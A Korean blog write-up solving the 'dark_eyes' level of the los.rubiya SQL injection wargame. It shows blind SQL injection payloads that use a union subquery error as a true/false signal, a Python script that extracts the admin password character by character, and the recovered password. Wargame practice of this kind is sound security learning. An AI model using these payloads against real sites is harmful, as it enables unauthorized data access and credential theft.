본문 바로가기

워게임

los rubiya - 22(dark_eyes) 풀이

안녕하세요 저번에 이어서 계속 풀어보겠습니다.

 

검은 눈

 

 

음..

 

이젠 if문을 막고 저번 문제처럼 비밀번호를 찾아야 하는 문제네요

더군다나 if(mysqli_error($db)) exit(); 이렇게 문법 오류가 나면 아예 종료하게 해놨네요!

 

그럼.. 저는 union을 이용하겠습니다.

 

일단 만약 select 1을 하면 1이 출력이 되잖아요?

그럼 select 1>0 이렇게 하면 1은 0보다 크니 참이잖아요? 그러니

1이 출력이 되어서 select 1이 출력을 하게 됩니다.

 

더 나아가서 select 1 union select 1>0 이면 어떻게 될까요?

 

그럼 결국 select 1 union select 1 이 되어서 1이 출력이 될 겁니다.

 

만약 select 1 union select 1>2 이면 select 1 union select 0이 출력이 되어서

 

2행이 나오게 됩니다. 그럼 sql은 한 행씩 출력을 하는데 이렇게 2행을 출력하게 되면 오류가 나서

흰 창이 나오게 될 겁니다!

 

 

?pw=1' OR (select 1 union select 1>2) %23

깨끗..

 

?pw=1' OR (select 1 union select 1>0)%23

 

 

참이면 나오죠

 

 

 

 

그럼 이 성질을 이용해서 admin의 비밀번호 길이을 알아내겠습니다!

 

?pw=1' OR (select 1 union select length(pw)={길이값}) AND id='admin'%23

 

SQL문은 AND 먼저 연산하니깐 굳이 괄호 해도 되고 안 해도 됩니다.

 

1부터 쭉쭉쭉 해봤습니다.

 

 

?pw=1' OR (select 1 union select length(pw)=8) AND id='admin'%23

 

 

 

 

길이는 8인 것을 알 수 있습니다.

 

 

그럼 이제 substring 함수를 이용해서 일일이 대입해서 흰 화면이면 거짓

참이면 이 화면이 나오면 되겠죠?

 

 

파이썬 작성하겠습니다.

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=irpn27e63or5bdngpo3rbuse04"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "dark" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1
    value = ""

    for j in range(8) :
        for i in range(32, 127) : #공백부터 ~까지 대입
            data = {
                "pw": blind_query.format(query, s, i)
            }

            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            if index_value in response.text :
                value += chr(i)
                s+=1
                print(value) #잘되나 확인용

    return value


blind_query = "?pw=1' OR (select 1 union select ascii(substring({},{},1))={}) AND id='admin'#" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

그리고 실행해보겠습니다.

 

꼭 URL이랑 쿠키값 변경사항 있으면 수정하셔야 됩니다!

 

 

끝!

 

오히려 전에 있던 문제보다 쉬웠는데 괜히 더 어렵게 생각하다가 오래 걸렸네요!

 

?pw=5a2f5d3c

 

끝!

 

 

감사합니다!

'워게임' 카테고리의 다른 글

los rubiya - 24(evil_wizard) 풀이  (1) 2023.05.24
los rubiya - 23(hell_fire) 풀이  (0) 2023.05.24
los rubiya - 21(iron_golem) 풀이  (0) 2023.05.18
los rubyia - 19번 20번 풀이  (0) 2023.05.16
los rubiya -17,18풀이  (0) 2023.05.15